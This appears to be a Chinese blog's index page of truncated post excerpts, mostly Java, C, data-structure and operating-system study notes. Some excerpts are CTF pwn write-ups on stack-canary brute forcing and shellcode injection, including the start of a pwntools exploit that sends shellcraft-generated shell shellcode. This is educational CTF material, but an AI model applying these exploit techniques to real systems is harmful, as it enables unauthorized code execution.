Java多线程_0x2_
多线程篇二如笔者理解有误,欢迎交流指正⭐
Thread中重要属性启动线程start上篇提到 **start 则是真正调用了系统 API, 在系统内核中创建出线程, 让线程再调用 run.**(“并发“的实现)再用代码举例下
1234567891011121314151617181920212223242526272829// 创建一个类, 继承自 Thread .class MyThread extends Thread { @Override public void run() { // 这个方法就是线程的入口方法. while (true) { System.out.println("Welcome Thread!"); try { Thread.sleep(1000); } catch (InterruptedException e) { ...
Java多线程_0x1_
多线程篇一如笔者理解有误,欢迎交流指正⭐
线程一个线程就是一个“执行流”.每一个线程都是一个独立的执行逻辑.
1234567891011121314151617181920212223242526272829// 创建一个类, 继承自 Thread .class MyThread extends Thread { @Override public void run() { // 这个方法就是线程的入口方法. while (true) { System.out.println("Welcome Thread!"); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } ...
Java基础知识杂记
Java杂记
静态方法无法继承 无实例化对象
异常数组索引异常空指针异常算数异常丢失资源找不到类编译时异常
oop 面向对象的语言对象的成员属性在未赋值前引用类型的默认值是NULL见到那类型为对应的0
通过this可以访问当前对象的成员属性/成员变量(静态的成员变量不支持)
默认int - 0float - 0.0fchar - ‘\u0000’boolean - flase
构造方法非特殊的一个方法:1.方法名必须和类名相同2.没有返回值3.创建对象时由编译器自动调用
当一个类中没有任何一个构造方法时 java会自动提供一个无参的构造方法
构造方法之间可以形成方法的重载1.方法名相同2.参数列表不同
构造方法只对对象中的成员进行初始化 不进行空间分配
完成一个对象的构造1.分配内存2.调用合适的构造方法
this();调用当前类当中其他构造方法只能在当前的构造方法内部进行使用只能放在第一行
this.data访问当前对象的属性this.func()调用当前对象的方法this本身代表当前对象的引用
就地初始化声明成员变量的同时进行初始化即在class内进行初始化
...
数据结构
数据结构碎片一元多项式简单数组表示 存储系数和指数,一一对应,运算即分类操作既可
稀疏多项式 记录系数不为零的项 每一项的系数和指数也构成线性表(先系数再指数)
稀疏多项式的运算
新开设新数组C(第三个数组相当于中间存储)
从头开始遍历比较a和b的每一项指数相同 对应系数相加,和不为0,C中新增加新项;和为0,去掉 即可
指数不相同,将指数较小的项复制到C中
一个多项式已遍历完毕时,将另一个剩余项依次复制到C中即可
顺序存储存在的问题
1.存储空间分配不灵活2.运算的空间复杂度高
链式存储解决稀疏多项式
线性表中的数据元素的类型可以是简单/复杂类型线性表的定义类型基本操作InitList(&L)操作结果:构造一个空链表
DestroyList(&L)初始条件:线性表L已经存在操作结果:销毁线性表L
ClearList(&L)初始条件:线性表L已经存在操作结果:将线性表L重置为空表
ListEmpty(L)初始条件:线性表已经存在操作结果:若L为空返回TRUE,否则返回FALSE
ListLength(L)初始条件:线性表已经存在操作结果:返回L中数 ...
Nep摸鱼记
NepCTF 2023为什么开赛两分钟选择不打了?答案很简单:签到题格式打错了…运营姐姐没回我…48h…炮灰pwn不会做!!!(其实可以做misc)
Msiccode题目提示flag在环境变量中 开始STFWhttps://blog.csdn.net/aspnet_lyc/article/details/20548767
12345678910#include <stdio.h> int main(int argc, char** argv, char** arge){ while(*arge) { printf("%s\n", *arge++); } return 0;}
与AI共舞的哈夫曼求助chat因为不会用copilot
ConnectedFive
五子棋 不会写脚本干下吧hh(求助chat也不是不行)
1234567891011121314151617181920212223242526272829303132from pwn import *import randomr = remote( ...
OS碎片
CDU复习资料倾情献上.(其实有更全的考点 有需要私信dd我 是的我是懒狗懒得导过来)
操作系统定义操作系统是一个控制程序操作系统是一个资源管理器应用程序与硬件之间的中间层管理各种计算机硬件资源提供访问计算机软硬件资源的高效手段解决资源访问冲突 确保资源使用公平
操作系统的软件组成
操作系统内核特征并发操作系统中有多个运行的程序 需要os管理和调度
共享“同时”访问(宏观)互斥共享(微观)
虚拟利用多道程序设计 让每个用户觉得有一个计算机为ta提供服务
异步程序的执行走走停停(可预测) 向前推进的速度不可预知只要运行环境相同 os需要保证程序运行的结果也相同 (输入一致 输出结果应该是不变的)
操作系统的主要功能硬件抽象和协调管理 用户和硬件间沟通的桥梁
操作系统的演变单用户系统操作系统=装载器+通用子程序昂贵组件低效率
顺序执行 顺序打印一个作业接一个作业
批处理系统多(道)程序系统交替执行条件:前一个正在执行的程序主动让出CPU执行权
分时系统交替运行
个人计算机:每个用户一个系统 吧应用性
分布式计算机:每个用户多个系统安全性网络成为一个重要的功能通常支持分 ...
Canary解决姿势
Canary解决姿势被折磨的有点难受 找个时间来斩杀(bushi)又是被虐的一天~
有问题请指正~❀获取例题请在评论区留言或私信我⭐
一、canary爆破标志提示就算fork函数吧 多线程开攻
【funcannary】*
(1)先运行一下 peda配套checksec 根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点
发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过) 对应随机化 后续在IDA中只能利用其地址计算偏移
(2)进IDA
fork接口 == canary爆破(多线程)
发现函数入口为0x122D 并且发现”/bin/cat flag” 接下来找溢出位置爆破cannary
明显溢出 定位该函数sub_128A(爆破canary的位置)爆破成功后爆返回地址 (爆 ...
C探索碎片——关键字static作用
一、简述static意译是静态的,而作为C语言中常见的关键字之一,它的用法也贴切“静态”这一含义。
二、用法
修饰局部变量
下为static是否修饰局部变量对程序运行结果影响的对比。
1234567891011121314151617#include<stdio.h>void play(){ int a = 6; a++; printf("%d ", a);}int main(){ int i = 0; while (i < 5) { play(); i++; } return 0;}
编辑
此为上图static未修饰局部变量的运行结果
1234567891011121314151617#include<stdio.h>void play(){ static int a = 6; a++; printf("%d ", a);}int ...
C探索碎片——操作符
C的探索碎片——操作符
分类
算术操作符
移位操作符
位操作符
赋值操作符
单目操作符
关系操作符
逻辑操作符
条件操作符
逗号表达式
下标引用、函数调用和结构成员
一.算数操作符1+ - * / %
+、-、*此类数学中常见的算数符号我们再熟悉不过,需要注意的是/(除),%(取余)之间的区别。
例:
12345678#include<stdio,h>int main(){ int a = 10; printf("%d",a/3);//结果为3 printf("%d",a%3);//结果为1 return 0;}
注意:1.除%操作符之外。其他几个操作符可以作用于整数和浮点数。
2./操作符运算时若两个操作数中含浮点数则执行浮点数除法(%lf打印结果);若两操作数都为整数则执行整数除法。
3.%操作符的两个操作数必须为整数。
二、移位操作符123<< 左移操作符>> 右移操作符注:移位操作符的操作数只能是整数。
移 ...
部分PWN题目记录
Pwn题目记录【NKCTF】弱小可怜无助的唯一。(1)checkesec 发现为64位 只有NX保护
(2)进IDA分析
F5查看main函数
查看偏移为0x74(buf[108]+8[ebp大小]) buf2大小随机 无后门函数 此时联想到使用pwntools生成可利用的shellcode v6随机执行但未设置随机数种子【注释打漏了😜】
exp:
12345678910111213from pwn import *context.arch = 'amd64'context.os = 'linux'context.log_level = 'debug'p = process('./pwn')#p = remote('127.0.0.1', 1337)buf = b'\x90' * 108shellcode = asm(shellcraft.amd64.sh())payload = buf + b'\x90'*(104-len(sh ...